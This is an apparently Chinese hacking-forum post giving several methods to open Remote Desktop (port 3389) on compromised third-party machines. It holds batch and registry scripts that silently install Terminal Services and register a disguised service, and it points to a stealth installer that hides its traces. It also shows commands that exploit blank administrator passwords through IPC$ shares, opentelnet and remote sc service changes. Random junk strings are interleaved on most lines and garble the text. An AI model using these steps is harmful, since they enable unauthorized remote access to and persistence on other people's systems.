几种开3389端口的方法

[hide=60] 1.打开记事本，编辑内容如下： PI?j_8  
echo [Components] > c:\sql H.O(*Q=  
echo TSEnable = on >> c:\sql [H"#7t.V-~  
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q EZ(^~k=I  
编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。 g"!\\:M  
SLk2X;c]o  
2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 )3z]f2  
地址:www.netsill.com/rots.zip dyFKxn`,  
使用方法： qG>DTKIU  
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如： I8op>^N"  
C@HD(..
#  
c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项] c8QnN:n  
-Ubj6 t_K  
服务端口： 设置终端服务的服务端口。默认是3389。 '3kcD7  
自动重起选项： 使用/r表示安装完成后自动重起目标使设置生效。 MdhT!?  
使用/fr表示强制重起目标。（如果/r不行，可以允哉飧觯?BR>使用此参数时，端口设置不能忽略。 R/<=mZ  
比如扫描到了一个有NT弱口令的服务器，IP地址是222.222.222.222，管理员帐户是administrator，密码为空 ij&p4  
运行CMD（2000下的DOS），我们给它开终端！ tnW;E\cR  
命令如下！ H=zN[MU  
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr .)8  
上面的命令应该可以理解吧？cscript reg.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为222.222.222.222 这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以 /r，这是普通重启） l@d gJ  
X#+`e+Df  
脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。 h[ 6hM^n  
因为pro版不能安装终端服务。 H]qq ~bO[  
如果你确信脚本判断错误，就继续安装好了。 bv\ A,+  
Zy wK/D  
如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。 IB7tAG8  
T }uE0Z,  
脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。 ]u&dJL  
,bSVVT-b  
O5 7jz= r  
3，下载3389自动安装程序-djshao正式版5.0 K
ar~I  
地址www.netsill.com/djshao.zip j=.g:&r)  
说明： iWXMKu  
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下，然后进入c:\ winnt\temp目录执行djxyxs.exe解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启！重启后会出现终端服务！ ^w6eWzI  
5urE  
特点：1、不用修改注册表的安装路径，注册表会自动修改，安装完后会自动恢复到原来的安装路径，2、在后台安静模式运行，就算肉鸡旁有人也没有关系！3、在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩，4、不会在肉鸡上留下你的上传文件，在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件！5、不管肉鸡的winnt装在什么盘上都无所谓！6、安装完终端后会删除在管理工具中的终端快捷图标！7、在没有安装终端前，终端服务是被禁止的！安装终端后，终端服务被改为自动！但是如果在安装前终端服务是手动！安装后就可能还是手动！等重启后就不会打开服务！所以在软件中加了sc指令，等安装完后，不管终端服务是禁止还是手动还是自动，全部改为自动。8、自动检测肉鸡是不是服务器版，如果不是删除原文件，不执行安装，如果是服务器版就执行安装！9、支持非法内容,请删除韩繁四个版本的win2000服务器版！ '=T
Ta
 
>7>7/7=O  
|Odu4 Q  
4.下载DameWare NT Utilities 3.66.0.0 注册版 U \Dca&=  
地址www.netsill.com/dwmrcw36600.zip s%dF~DSK  
安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。 .{N\<01  
复制启动后出现对方桌面。 rqvU8T7A  
在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后OK。 =O^7TrM  
TSyzdnMvz  
o?R,0 -  
５. 1e$[p[  
rr>~WjZ3  
首先我们制作开启3389的工具 -iQsi4  
先把下面的注册表内容copy一份，另存为3389.reg注册表文件 S_!R^^ySG9  
注册表内容： $o+&Y5:  
Windows Registry Editor Version 5.00 Q
}uG/HI  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] aVK()1v]  
"Enabled"="0" CB@B.)E  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] A[Cg/ +Z  
"ShutdownWithoutLogon"="0" M-91 JOt~  
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] z`9l<Q/  
"EnableAdminTSRemote"=dword:00000001 WRMz]|+}4  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] |2UauTp5yK  
"TSEnabled"=dword:00000001 KS>Fl->  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] :+pPrGj"  
"Start"=dword:00000002 VEo^ :o)r  
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] [xS5z1;  
"Hotkey"="1" Alh?0Fk3)  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] 2vXGO|W  
"Start"=dword:00000002 Hrv),Ce  
"ErrorControl"=dword:00000001 }`@?X"r  
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 6Wu*.53  
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ /kb$p8!C".  
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 M
7pvxChA  
"ObjectName"="LocalSystem" Gm*Uv6?H?  
"Type"=dword:00000010 HU.1":.;  
"Description"="Microsoft" $:HLRl{2E  
"DisplayName"="Microsoft" f8F1~q  
再把下面的内容保存为批处理文件3389.bat H.;yLL=  
安装批处理内容： c( 8W8R  
copy termsrv.exe eventlog.exe k%a?SU<f  
regedit.exe /s 3389.reg x_pMG!2  
del 3389.reg ;op'V6iG  
del 3389.exe _PdAN= C3  
del 3389.bat 1uj05aZh}  
用winrar制作成exe自解压缩包 c; d"XiA  
$u-lo|  
61.188.***.*** user:administrato pass:空 1o)=GV1  
先使用工具letmein判断其操作系统 QZ9M{Y/  
letmein \\ip -all -d vD"_X"v  
TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 nvwDx*[qN  
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 J4&XPr9  
应该没有开启了 8Y]}Gb!  
建立ipc连接 BfEx'C  
copy工具过去 k4*! Q_A  
net use \\ip\ipc$ "pass" /user:name v,@E}F~-f1  
copy file \\ip\admin$\system32 zh hGqz[K  
用opentelnet开对方的telnet j?d!}v  
opentelnet \\ip name pass 1 99
c8!j6\dC*  
用telnet进入 )m>6hk  
进入到对方的winnt\system32\ Wpa$B )xg  
目录 EsNk<Ra  
解压缩3389.exe PH{c,  
运行安装批处理3389.bat 4jPwL|#  
现在我们把对方重起一下，用reboot {K6Kx36  
>cSi/a,L  
jBGG2[hV  
*%]+sU  
iu+zw[f  
7. jm~mhAE#  
ge@reGfsB1  
检查对方是否真的禁用了Terminal server 'II vub#q  
C:\>sc \\xxx.xxx.xxx.xxx qc termservice ^$ZI>L0+  
[SC] GetServiceConfig SUCCESS "&s9cO.H  
SERVICE_NAME: termservice -!JlM@  
TYPE : 10 WIN32_OWN_PROCESS " -<}C%C  
START_TYPE : 4 DISABLED FK?mS>G6  
ERROR_CONTROL : 1 NORMAL R0z?)uU#  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe CrT2#h 1#  
LOAD_ORDER_GROUP : 'G
3+2hah  
TAG : 0 KX$qM g1j  
DISPLAY_NAME : Terminal Services j `w;z: G  
DEPENDENCIES : vC s6#PR$  
SERVICE_START_NAME : LocalSystem p}cd}@cQ6  
仔细看 START_TYPE一项，显示对方该服务的启动模式为“DISABLED”也就是“禁用”。 ~&vA_/M  
,OFq'}q  
s n=zh1 A  
C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto b,YTw  
[SC] ChangeServiceConfig SUCCESS e!*d(lHKos  
好了，现在我们已经把对方终端服务的启动模式修改成自动了。 mM"!=' z  
vj<HthC.k  
Klh7&HzR  
m4(
:H(Za  
再检查一便对方终端服务的启动模式 '7Dg+a^x7  
C:\>sc \\TEST qc termservice P?*$Wf,~n  
[SC] GetServiceConfig SUCCESS ;X6FhQ;{*0  
SERVICE_NAME: termservice I,D24W4l  
TYPE : 10 WIN32_OWN_PROCESS g"|QI=&_J  
START_TYPE : 2 AUTO_START o Y_(UIa  
ERROR_CONTROL : 1 NORMAL O<l_2?S1  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe M(o?I}  
LOAD_ORDER_GROUP : l)`bm/k]V  
TAG : 0 y4s]*?Wz  
DISPLAY_NAME : Terminal Services $x]'6  
DEPENDENCIES : >=c<6#:s<9  
SERVICE_START_NAME : LocalSystem V%?oI]" l  
zDY!0QZLF\  
cYyv iR59#  
aS?A3h4WM_  
启动对方的终端服务 U<
fe 'd  
C:\>sc \\xxx.xxx.xxx.xxx start termservice zC6,m6Dv  
SERVICE_NAME: termservice MIasCH>r  
TYPE : 10 WIN32_OWN_PROCESS {ScilT  
STATE : 2 START_PENDING tG(?PmQ  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) z cN1i^   
WIN32_EXIT_CODE : 0 (0x0) EY;C5P4  
SERVICE_EXIT_CODE : 0 (0x0) yWsV !Ub  
CHECKPOINT : 0x1 hZ-No  
WAIT_HINT : 0x7530
5+dQGcE@  
V*SKWP  
+=hiLfnE  
C:\>sc \\xxx.xxx.xxx.xxx query termservice M >Yx_)<U  
SERVICE_NAME: termservice 4AB7uw  
TYPE : 10 WIN32_OWN_PROCESS )~;=0O |X  
STATE : 4 RUNNING Ua]shSjyI  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) T(K~be  
WIN32_EXIT_CODE : 0 (0x0) j K?GB  
SERVICE_EXIT_CODE : 0 (0x0) c.m8~@O5+  
CHECKPOINT : 0x0 j`Fsr?]/  
WAIT_HINT : 0x0[/hide]